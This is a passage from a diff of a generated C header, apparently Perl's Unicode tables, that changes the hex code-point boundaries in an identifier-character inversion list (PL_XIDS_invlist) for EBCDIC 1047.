0x8B6, - 0x8BE, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x971, - 0x981, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BD, - 0x9BE, - 0x9CE, - 0x9CF, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E2, - 0x9F0, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA72, - 0xA75, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABD, - 0xABE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE2, - 0xAF9, - 0xAFA, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3D, - 0xB3E, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB71, - 0xB72, - 0xB83, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBD0, - 0xBD1, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC3E, - 0xC58, - 0xC5B, - 0xC60, - 0xC62, - 0xC80, - 0xC81, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBD, - 0xCBE, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCF1, - 0xCF3, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD4E, - 0xD4F, - 0xD54, - 0xD57, - 0xD5F, - 0xD62, - 0xD7A, - 0xD80, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xE01, - 0xE31, - 0xE32, - 0xE33, - 0xE40, - 0xE47, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEB1, - 0xEB2, - 0xEB3, - 0xEBD, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF88, - 0xF8D, - 0x1000, - 0x102B, - 0x103F, - 0x1040, - 0x1050, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1071, - 0x1075, - 0x1082, - 0x108E, - 0x108F, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, + 0x101, + 0x102, + 0x103, + 0x104, + 0x105, + 0x106, + 0x107, + 0x108, + 0x109, + 0x10A, + 0x10B, + 0x10C, + 0x10D, + 0x10E, + 0x10F, + 0x110, + 0x111, + 0x112, + 0x113, + 0x114, + 0x115, + 0x116, + 0x117, + 0x118, + 0x119, + 0x11A, + 0x11B, + 0x11C, + 0x11D, + 0x11E, + 0x11F, + 0x120, + 0x121, + 0x122, + 0x123, + 0x124, + 0x125, + 0x126, + 0x127, + 0x128, + 0x129, + 0x12A, + 0x12B, + 0x12C, + 0x12D, + 0x12E, + 0x12F, + 0x130, + 0x131, + 0x132, + 0x133, + 0x134, + 0x135, + 0x136, + 0x137, + 0x139, + 0x13A, + 0x13B, + 0x13C, + 0x13D, + 0x13E, + 0x13F, + 0x140, + 0x141, + 0x142, + 0x143, + 0x144, + 0x145, + 0x146, + 0x147, + 0x148, + 0x14A, + 0x14B, + 0x14C, + 0x14D, + 0x14E, + 0x14F, + 0x150, + 0x151, + 0x152, + 0x153, + 0x154, + 0x155, + 0x156, + 0x157, + 0x158, + 0x159, + 0x15A, + 0x15B, + 0x15C, + 0x15D, + 0x15E, + 0x15F, + 0x160, + 0x161, + 0x162, + 0x163, + 0x164, + 0x165, + 0x166, + 0x167, + 0x168, + 0x169, + 0x16A, + 0x16B, + 0x16C, + 0x16D, + 0x16E, + 0x16F, + 0x170, + 0x171, + 0x172, + 0x173, + 0x174, + 0x175, + 0x176, + 0x177, + 0x178, + 0x17A, + 0x17B, + 0x17C, + 0x17D, + 0x17E, + 0x181, + 0x183, + 0x184, + 0x185, + 0x186, + 0x188, + 0x189, + 0x18C, + 0x18E, + 0x192, + 0x193, + 0x195, + 0x196, + 0x199, + 0x19C, + 0x19E, + 0x19F, + 0x1A1, + 0x1A2, + 0x1A3, + 0x1A4, + 0x1A5, + 0x1A6, + 0x1A8, + 0x1A9, + 0x1AA, + 0x1AC, + 0x1AD, + 0x1AE, + 0x1B0, + 0x1B1, + 0x1B4, + 0x1B5, + 0x1B6, + 0x1B7, + 0x1B9, + 0x1BB, + 0x1BD, + 0x1C0, + 0x1C6, + 0x1C7, + 0x1C9, + 0x1CA, + 0x1CC, + 0x1CD, + 0x1CE, + 0x1CF, + 0x1D0, + 0x1D1, + 0x1D2, + 0x1D3, + 0x1D4, + 0x1D5, + 0x1D6, + 0x1D7, + 0x1D8, + 0x1D9, + 0x1DA, + 0x1DB, + 0x1DC, + 0x1DE, + 0x1DF, + 0x1E0, + 0x1E1, + 0x1E2, + 0x1E3, + 0x1E4, + 0x1E5, + 0x1E6, + 0x1E7, + 0x1E8, + 0x1E9, + 0x1EA, + 0x1EB, + 0x1EC, + 0x1ED, + 0x1EE, + 0x1EF, + 0x1F1, + 0x1F3, + 0x1F4, + 0x1F5, + 0x1F6, + 0x1F9, + 0x1FA, + 0x1FB, + 0x1FC, + 0x1FD, + 0x1FE, + 0x1FF, + 0x200, + 0x201, + 0x202, + 0x203, + 0x204, + 0x205, + 0x206, + 0x207, + 0x208, + 0x209, + 0x20A, + 0x20B, + 0x20C, + 0x20D, + 0x20E, + 0x20F, + 0x210, + 0x211, + 0x212, + 0x213, + 0x214, + 0x215, + 0x216, + 0x217, + 0x218, + 0x219, + 0x21A, + 0x21B, + 0x21C, + 0x21D, + 0x21E, + 0x21F, + 0x220, + 0x221, + 0x222, + 0x223, + 0x224, + 0x225, + 0x226, + 0x227, + 0x228, + 0x229, + 0x22A, + 0x22B, + 0x22C, + 0x22D, + 0x22E, + 0x22F, + 0x230, + 0x231, + 0x232, + 0x233, + 0x23A, + 0x23C, + 0x23D, + 0x23F, + 0x241, + 0x242, + 0x243, + 0x247, + 0x248, + 0x249, + 0x24A, + 0x24B, + 0x24C, + 0x24D, + 0x24E, + 0x24F, + 0x294, + 0x295, + 0x2B9, + 0x2C0, + 0x2C2, + 0x2E0, + 0x2E5, + 0x345, + 0x346, + 0x371, + 0x372, + 0x373, + 0x374, + 0x377, + 0x378, + 0x37A, + 0x37E, + 0x390, + 0x391, + 0x3AC, + 0x3CF, + 0x3D0, + 0x3D2, + 0x3D5, + 0x3D8, + 0x3D9, + 0x3DA, + 0x3DB, + 0x3DC, + 0x3DD, + 0x3DE, + 0x3DF, + 0x3E0, + 0x3E1, + 0x3E2, + 0x3E3, + 0x3E4, + 0x3E5, + 0x3E6, + 0x3E7, + 0x3E8, + 0x3E9, + 0x3EA, + 0x3EB, + 0x3EC, + 0x3ED, + 0x3EE, + 0x3EF, + 0x3F4, + 0x3F5, + 0x3F6, + 0x3F8, + 0x3F9, + 0x3FB, + 0x3FD, + 0x430, + 0x460, + 0x461, + 0x462, + 0x463, + 0x464, + 0x465, + 0x466, + 0x467, + 0x468, + 0x469, + 0x46A, + 0x46B, + 0x46C, + 0x46D, + 0x46E, + 0x46F, + 0x470, + 0x471, + 0x472, + 0x473, + 0x474, + 0x475, + 0x476, + 0x477, + 0x478, + 0x479, + 0x47A, + 0x47B, + 0x47C, + 0x47D, + 0x47E, + 0x47F, + 0x480, + 0x481, + 0x482, + 0x48B, + 0x48C, + 0x48D, + 0x48E, + 0x48F, + 0x490, + 0x491, + 0x492, + 0x493, + 0x494, + 0x495, + 0x496, + 0x497, + 0x498, + 0x499, + 0x49A, + 0x49B, + 0x49C, + 0x49D, + 0x49E, + 0x49F, + 0x4A0, + 0x4A1, + 0x4A2, + 0x4A3, + 0x4A4, + 0x4A5, + 0x4A6, + 0x4A7, + 0x4A8, + 0x4A9, + 0x4AA, + 0x4AB, + 0x4AC, + 0x4AD, + 0x4AE, + 0x4AF, + 0x4B0, + 0x4B1, + 0x4B2, + 0x4B3, + 0x4B4, + 0x4B5, + 0x4B6, + 0x4B7, + 0x4B8, + 0x4B9, + 0x4BA, + 0x4BB, + 0x4BC, + 0x4BD, + 0x4BE, + 0x4BF, + 0x4C0, + 0x4C2, + 0x4C3, + 0x4C4, + 0x4C5, + 0x4C6, + 0x4C7, + 0x4C8, + 0x4C9, + 0x4CA, + 0x4CB, + 0x4CC, + 0x4CD, + 0x4CE, + 0x4D0, + 0x4D1, + 0x4D2, + 0x4D3, + 0x4D4, + 0x4D5, + 0x4D6, + 0x4D7, + 0x4D8, + 0x4D9, + 0x4DA, + 0x4DB, + 0x4DC, + 0x4DD, + 0x4DE, + 0x4DF, + 0x4E0, + 0x4E1, + 0x4E2, + 0x4E3, + 0x4E4, + 0x4E5, + 0x4E6, + 0x4E7, + 0x4E8, + 0x4E9, + 0x4EA, + 0x4EB, + 0x4EC, + 0x4ED, + 0x4EE, + 0x4EF, + 0x4F0, + 0x4F1, + 0x4F2, + 0x4F3, + 0x4F4, + 0x4F5, + 0x4F6, + 0x4F7, + 0x4F8, + 0x4F9, + 0x4FA, + 0x4FB, + 0x4FC, + 0x4FD, + 0x4FE, + 0x4FF, + 0x500, + 0x501, + 0x502, + 0x503, + 0x504, + 0x505, + 0x506, + 0x507, + 0x508, + 0x509, + 0x50A, + 0x50B, + 0x50C, + 0x50D, + 0x50E, + 0x50F, + 0x510, + 0x511, + 0x512, + 0x513, + 0x514, + 0x515, + 0x516, + 0x517, + 0x518, + 0x519, + 0x51A, + 0x51B, + 0x51C, + 0x51D, + 0x51E, + 0x51F, + 0x520, + 0x521, + 0x522, + 0x523, + 0x524, + 0x525, + 0x526, + 0x527, + 0x528, + 0x529, + 0x52A, + 0x52B, + 0x52C, + 0x52D, + 0x52E, + 0x52F, + 0x530, + 0x561, + 0x588, 0x13F8, 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1712, - 0x1720, - 0x1732, - 0x1740, - 0x1752, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1780, - 0x17B4, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DD, - 0x1820, - 0x1878, - 0x1880, - 0x18A9, - 0x18AA, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1950, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x1A00, - 0x1A17, - 0x1A20, - 0x1A55, - 0x1AA7, - 0x1AA8, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B4C, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1C00, - 0x1C24, - 0x1C4D, - 0x1C50, - 0x1C5A, - 0x1C7E, 0x1C80, 0x1C89, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, 0x1D00, 0x1DC0, - 0x1E00, + 0x1E01, + 0x1E02, + 0x1E03, + 0x1E04, + 0x1E05, + 0x1E06, + 0x1E07, + 0x1E08, + 0x1E09, + 0x1E0A, + 0x1E0B, + 0x1E0C, + 0x1E0D, + 0x1E0E, + 0x1E0F, + 0x1E10, + 0x1E11, + 0x1E12, + 0x1E13, + 0x1E14, + 0x1E15, + 0x1E16, + 0x1E17, + 0x1E18, + 0x1E19, + 0x1E1A, + 0x1E1B, + 0x1E1C, + 0x1E1D, + 0x1E1E, + 0x1E1F, + 0x1E20, + 0x1E21, + 0x1E22, + 0x1E23, + 0x1E24, + 0x1E25, + 0x1E26, + 0x1E27, + 0x1E28, + 0x1E29, + 0x1E2A, + 0x1E2B, + 0x1E2C, + 0x1E2D, + 0x1E2E, + 0x1E2F, + 0x1E30, + 0x1E31, + 0x1E32, + 0x1E33, + 0x1E34, + 0x1E35, + 0x1E36, + 0x1E37, + 0x1E38, + 0x1E39, + 0x1E3A, + 0x1E3B, + 0x1E3C, + 0x1E3D, + 0x1E3E, + 0x1E3F, + 0x1E40, + 0x1E41, + 0x1E42, + 0x1E43, + 0x1E44, + 0x1E45, + 0x1E46, + 0x1E47, + 0x1E48, + 0x1E49, + 0x1E4A, + 0x1E4B, + 0x1E4C, + 0x1E4D, + 0x1E4E, + 0x1E4F, + 0x1E50, + 0x1E51, + 0x1E52, + 0x1E53, + 0x1E54, + 0x1E55, + 0x1E56, + 0x1E57, + 0x1E58, + 0x1E59, + 0x1E5A, + 0x1E5B, + 0x1E5C, + 0x1E5D, + 0x1E5E, + 0x1E5F, + 0x1E60, + 0x1E61, + 0x1E62, + 0x1E63, + 0x1E64, + 0x1E65, + 0x1E66, + 0x1E67, + 0x1E68, + 0x1E69, + 0x1E6A, + 0x1E6B, + 0x1E6C, + 0x1E6D, + 0x1E6E, + 0x1E6F, + 0x1E70, + 0x1E71, + 0x1E72, + 0x1E73, + 0x1E74, + 0x1E75, + 0x1E76, + 0x1E77, + 0x1E78, + 0x1E79, + 0x1E7A, + 0x1E7B, + 0x1E7C, + 0x1E7D, + 0x1E7E, + 0x1E7F, + 0x1E80, + 0x1E81, + 0x1E82, + 0x1E83, + 0x1E84, + 0x1E85, + 0x1E86, + 0x1E87, + 0x1E88, + 0x1E89, + 0x1E8A, + 0x1E8B, + 0x1E8C, + 0x1E8D, + 0x1E8E, + 0x1E8F, + 0x1E90, + 0x1E91, + 0x1E92, + 0x1E93, + 0x1E94, + 0x1E95, + 0x1E9E, + 0x1E9F, + 0x1EA0, + 0x1EA1, + 0x1EA2, + 0x1EA3, + 0x1EA4, + 0x1EA5, + 0x1EA6, + 0x1EA7, + 0x1EA8, + 0x1EA9, + 0x1EAA, + 0x1EAB, + 0x1EAC, + 0x1EAD, + 0x1EAE, + 0x1EAF, + 0x1EB0, + 0x1EB1, + 0x1EB2, + 0x1EB3, + 0x1EB4, + 0x1EB5, + 0x1EB6, + 0x1EB7, + 0x1EB8, + 0x1EB9, + 0x1EBA, + 0x1EBB, + 0x1EBC, + 0x1EBD, + 0x1EBE, + 0x1EBF, + 0x1EC0, + 0x1EC1, + 0x1EC2, + 0x1EC3, + 0x1EC4, + 0x1EC5, + 0x1EC6, + 0x1EC7, + 0x1EC8, + 0x1EC9, + 0x1ECA, + 0x1ECB, + 0x1ECC, + 0x1ECD, + 0x1ECE, + 0x1ECF, + 0x1ED0, + 0x1ED1, + 0x1ED2, + 0x1ED3, + 0x1ED4, + 0x1ED5, + 0x1ED6, + 0x1ED7, + 0x1ED8, + 0x1ED9, + 0x1EDA, + 0x1EDB, + 0x1EDC, + 0x1EDD, + 0x1EDE, + 0x1EDF, + 0x1EE0, + 0x1EE1, + 0x1EE2, + 0x1EE3, + 0x1EE4, + 0x1EE5, + 0x1EE6, + 0x1EE7, + 0x1EE8, + 0x1EE9, + 0x1EEA, + 0x1EEB, + 0x1EEC, + 0x1EED, + 0x1EEE, + 0x1EEF, + 0x1EF0, + 0x1EF1, + 0x1EF2, + 0x1EF3, + 0x1EF4, + 0x1EF5, + 0x1EF6, + 0x1EF7, + 0x1EF8, + 0x1EF9, + 0x1EFA, + 0x1EFB, + 0x1EFC, + 0x1EFD, + 0x1EFE, + 0x1EFF, + 0x1F08, + 0x1F10, 0x1F16, - 0x1F18, - 0x1F1E, 0x1F20, + 0x1F28, + 0x1F30, + 0x1F38, + 0x1F40, 0x1F46, - 0x1F48, - 0x1F4E, 0x1F50, 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, + 0x1F60, + 0x1F68, + 0x1F70, 0x1F7E, 0x1F80, + 0x1F88, + 0x1F90, + 0x1F98, + 0x1FA0, + 0x1FA8, + 0x1FB0, 0x1FB5, 0x1FB6, - 0x1FBD, + 0x1FB8, 0x1FBE, 0x1FBF, 0x1FC2, 0x1FC5, 0x1FC6, - 0x1FCD, + 0x1FC8, 0x1FD0, 0x1FD4, 0x1FD6, - 0x1FDC, + 0x1FD8, 0x1FE0, - 0x1FED, + 0x1FE8, 0x1FF2, 0x1FF5, 0x1FF6, - 0x1FFD, + 0x1FF8, 0x2071, 0x2072, 0x207F, 0x2080, 0x2090, 0x209D, - 0x2102, - 0x2103, - 0x2107, - 0x2108, 0x210A, + 0x210B, + 0x210E, + 0x2110, + 0x2113, 0x2114, - 0x2115, - 0x2116, - 0x2118, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, + 0x212F, + 0x2130, + 0x2134, + 0x2135, + 0x2139, 0x213A, 0x213C, - 0x2140, - 0x2145, + 0x213E, + 0x2146, 0x214A, 0x214E, 0x214F, - 0x2160, - 0x2189, - 0x2C00, - 0x2C2F, + 0x2170, + 0x2180, + 0x2184, + 0x2185, + 0x24D0, + 0x24EA, 0x2C30, 0x2C5F, - 0x2C60, + 0x2C61, + 0x2C62, + 0x2C65, + 0x2C67, + 0x2C68, + 0x2C69, + 0x2C6A, + 0x2C6B, + 0x2C6C, + 0x2C6D, + 0x2C71, + 0x2C72, + 0x2C73, + 0x2C75, + 0x2C76, + 0x2C7E, + 0x2C81, + 0x2C82, + 0x2C83, + 0x2C84, + 0x2C85, + 0x2C86, + 0x2C87, + 0x2C88, + 0x2C89, + 0x2C8A, + 0x2C8B, + 0x2C8C, + 0x2C8D, + 0x2C8E, + 0x2C8F, + 0x2C90, + 0x2C91, + 0x2C92, + 0x2C93, + 0x2C94, + 0x2C95, + 0x2C96, + 0x2C97, + 0x2C98, + 0x2C99, + 0x2C9A, + 0x2C9B, + 0x2C9C, + 0x2C9D, + 0x2C9E, + 0x2C9F, + 0x2CA0, + 0x2CA1, + 0x2CA2, + 0x2CA3, + 0x2CA4, + 0x2CA5, + 0x2CA6, + 0x2CA7, + 0x2CA8, + 0x2CA9, + 0x2CAA, + 0x2CAB, + 0x2CAC, + 0x2CAD, + 0x2CAE, + 0x2CAF, + 0x2CB0, + 0x2CB1, + 0x2CB2, + 0x2CB3, + 0x2CB4, + 0x2CB5, + 0x2CB6, + 0x2CB7, + 0x2CB8, + 0x2CB9, + 0x2CBA, + 0x2CBB, + 0x2CBC, + 0x2CBD, + 0x2CBE, + 0x2CBF, + 0x2CC0, + 0x2CC1, + 0x2CC2, + 0x2CC3, + 0x2CC4, + 0x2CC5, + 0x2CC6, + 0x2CC7, + 0x2CC8, + 0x2CC9, + 0x2CCA, + 0x2CCB, + 0x2CCC, + 0x2CCD, + 0x2CCE, + 0x2CCF, + 0x2CD0, + 0x2CD1, + 0x2CD2, + 0x2CD3, + 0x2CD4, + 0x2CD5, + 0x2CD6, + 0x2CD7, + 0x2CD8, + 0x2CD9, + 0x2CDA, + 0x2CDB, + 0x2CDC, + 0x2CDD, + 0x2CDE, + 0x2CDF, + 0x2CE0, + 0x2CE1, + 0x2CE2, + 0x2CE3, 0x2CE5, - 0x2CEB, + 0x2CEC, + 0x2CED, + 0x2CEE, 0x2CEF, - 0x2CF2, + 0x2CF3, 0x2CF4, 0x2D00, 0x2D26, @@ -367380,785 +90595,344 @@ static const UV PL_XIDS_invlist[] = { /* for EBCDIC 1047 */ 0x2D28, 0x2D2D, 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x3005, - 0x3008, - 0x3021, - 0x302A, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3041, - 0x3097, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA620, - 0xA62A, - 0xA62C, - 0xA640, - 0xA66F, - 0xA67F, + 0xA641, + 0xA642, + 0xA643, + 0xA644, + 0xA645, + 0xA646, + 0xA647, + 0xA648, + 0xA649, + 0xA64A, + 0xA64B, + 0xA64C, + 0xA64D, + 0xA64E, + 0xA64F, + 0xA650, + 0xA651, + 0xA652, + 0xA653, + 0xA654, + 0xA655, + 0xA656, + 0xA657, + 0xA658, + 0xA659, + 0xA65A, + 0xA65B, + 0xA65C, + 0xA65D, + 0xA65E, + 0xA65F, + 0xA660, + 0xA661, + 0xA662, + 0xA663, + 0xA664, + 0xA665, + 0xA666, + 0xA667, + 0xA668, + 0xA669, + 0xA66A, + 0xA66B, + 0xA66C, + 0xA66D, + 0xA66E, + 0xA681, + 0xA682, + 0xA683, + 0xA684, + 0xA685, + 0xA686, + 0xA687, + 0xA688, + 0xA689, + 0xA68A, + 0xA68B, + 0xA68C, + 0xA68D, + 0xA68E, + 0xA68F, + 0xA690, + 0xA691, + 0xA692, + 0xA693, + 0xA694, + 0xA695, + 0xA696, + 0xA697, + 0xA698, + 0xA699, + 0xA69A, + 0xA69B, 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xA7AF, - 0xA7B0, + 0xA723, + 0xA724, + 0xA725, + 0xA726, + 0xA727, + 0xA728, + 0xA729, + 0xA72A, + 0xA72B, + 0xA72C, + 0xA72D, + 0xA72E, + 0xA72F, + 0xA732, + 0xA733, + 0xA734, + 0xA735, + 0xA736, + 0xA737, + 0xA738, + 0xA739, + 0xA73A, + 0xA73B, + 0xA73C, + 0xA73D, + 0xA73E, + 0xA73F, + 0xA740, + 0xA741, + 0xA742, + 0xA743, + 0xA744, + 0xA745, + 0xA746, + 0xA747, + 0xA748, + 0xA749, + 0xA74A, + 0xA74B, + 0xA74C, + 0xA74D, + 0xA74E, + 0xA74F, + 0xA750, + 0xA751, + 0xA752, + 0xA753, + 0xA754, + 0xA755, + 0xA756, + 0xA757, + 0xA758, + 0xA759, + 0xA75A, + 0xA75B, + 0xA75C, + 0xA75D, + 0xA75E, + 0xA75F, + 0xA760, + 0xA761, + 0xA762, + 0xA763, + 0xA764, + 0xA765, + 0xA766, + 0xA767, + 0xA768, + 0xA769, + 0xA76A, + 0xA76B, + 0xA76C, + 0xA76D, + 0xA76E, + 0xA76F, + 0xA779, + 0xA77A, + 0xA77B, + 0xA77C, + 0xA77D, + 0xA77F, + 0xA780, + 0xA781, + 0xA782, + 0xA783, + 0xA784, + 0xA785, + 0xA786, + 0xA787, + 0xA788, + 0xA78C, + 0xA78D, + 0xA78E, + 0xA78F, + 0xA791, + 0xA792, + 0xA793, + 0xA796, + 0xA797, + 0xA798, + 0xA799, + 0xA79A, + 0xA79B, + 0xA79C, + 0xA79D, + 0xA79E, + 0xA79F, + 0xA7A0, + 0xA7A1, + 0xA7A2, + 0xA7A3, + 0xA7A4, + 0xA7A5, + 0xA7A6, + 0xA7A7, + 0xA7A8, + 0xA7A9, + 0xA7AA, + 0xA7B5, + 0xA7B6, + 0xA7B7, 0xA7B8, - 0xA7F7, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA840, - 0xA874, - 0xA882, - 0xA8B4, - 0xA8F2, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA90A, - 0xA926, - 0xA930, - 0xA947, - 0xA960, - 0xA97D, - 0xA984, - 0xA9B3, - 0xA9CF, - 0xA9D0, - 0xA9E0, - 0xA9E5, - 0xA9E6, - 0xA9F0, - 0xA9FA, - 0xA9FF, - 0xAA00, - 0xAA29, - 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAA7B, - 0xAA7E, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAEB, - 0xAAF2, - 0xAAF5, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, + 0xA7F8, + 0xA7FB, 0xAB30, 0xAB5B, 0xAB5C, 0xAB66, 0xAB70, - 0xABE3, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, + 0xABC0, 0xFB00, 0xFB07, 0xFB13, 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFC5E, - 0xFC64, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFA, - 0xFE71, - 0xFE72, - 0xFE73, - 0xFE74, - 0xFE77, - 0xFE78, - 0xFE79, - 0xFE7A, - 0xFE7B, - 0xFE7C, - 0xFE7D, - 0xFE7E, - 0xFE7F, - 0xFEFD, - 0xFF21, - 0xFF3B, 0xFF41, 0xFF5B, - 0xFF66, - 0xFF9E, - 0xFFA0, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, - 0x10376, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104B0, - 0x104D4, + 0x10428, + 0x10450, 0x104D8, 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A01, - 0x10A10, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE5, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, 0x10CC0, 0x10CF3, - 0x11003, - 0x11038, - 0x11083, - 0x110B0, - 0x110D0, - 0x110E9, - 0x11103, - 0x11127, - 0x11150, - 0x11173, - 0x11176, - 0x11177, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C5, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, 